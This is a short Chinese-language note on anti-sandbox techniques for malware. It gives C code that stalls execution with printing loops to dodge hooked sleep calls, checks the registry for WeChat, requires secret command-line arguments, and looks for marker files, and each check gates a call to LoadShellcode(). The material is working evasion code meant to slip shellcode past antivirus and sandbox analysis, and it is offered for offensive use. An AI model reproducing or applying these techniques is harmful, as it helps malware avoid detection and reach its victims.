抗沙箱
1.沙箱
分为 云沙箱 和 本地沙箱,通过模拟环境运行 EXE 来检测
2.抗沙箱
延时
通过循环打印代替被杀软 Hook 的 sleep 函数
void sleep() {
char* buffer = (char*)malloc(100000);
for (int i = 0; i < 300; i++){
for (int j = 0; j < 100000; j++) {
printf("%d, %d\n", buffer[j], j);
}
}
free(buffer);
}
特殊环境检测
GitHub - ZanderChang/anti-sandbox: Windows对抗沙箱和虚拟机的方法总结
软件注册表检测
检测是否安装微信
#include <windows.h>
BOOL RegkeyExist(HKEY hKey, wchar_t* regkey_s) {
HKEY regkey;
DWORD ret = RegOpenKeyEx(hKey, regkey_s, 0, KEY_READ, ®key);
if (ret == ERROR_SUCCESS) {
RegCloseKey(regkey);
return TRUE;
}
return FALSE;
}
int main() {
if (RegkeyExist(HKEY_LOCAL_MACHINE, _wcsdup(L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WeChat"))) {
LoadShellcode();
}
}
自构造环境检测
传参检测
#include <iostream>
int main(int argc, char* argv[]) {
if (argc >= 3) {
if (atoi(argv[1]) + atoi(argv[2]) == 12 && atoi(argv[1]) * atoi(argv[2]) == 35) {
LoadShellCode();
}
}
}
文件检测
#include <windows.h>
// 检测文件是否存在
BOOL isFileExists(wchar_t* szPath) {
DWORD dwAtrribt = GetFileAttributes(szPath);
return (dwAtrribt != INVALID_FILE_ATTRIBUTES) && !(dwAtrribt & FILE_ATTRIBUTE_DIRECTORY);
}
// 检测文件夹是否存在
BOOL isDirExists(wchar_t* szPath) {
DWORD dwAtrribt = GetFileAttributes(szPath);
return (dwAtrribt != INVALID_FILE_ATTRIBUTES) && (dwAtrribt & FILE_ATTRIBUTE_DIRECTORY);
}
int main() {
if (isFileExists(_wcsdup(L"1.txt")) && isDirExists(_wcsdup(L"1"))) {
LoadShellcode();
}
}
网络控制
通过网络控制运行时机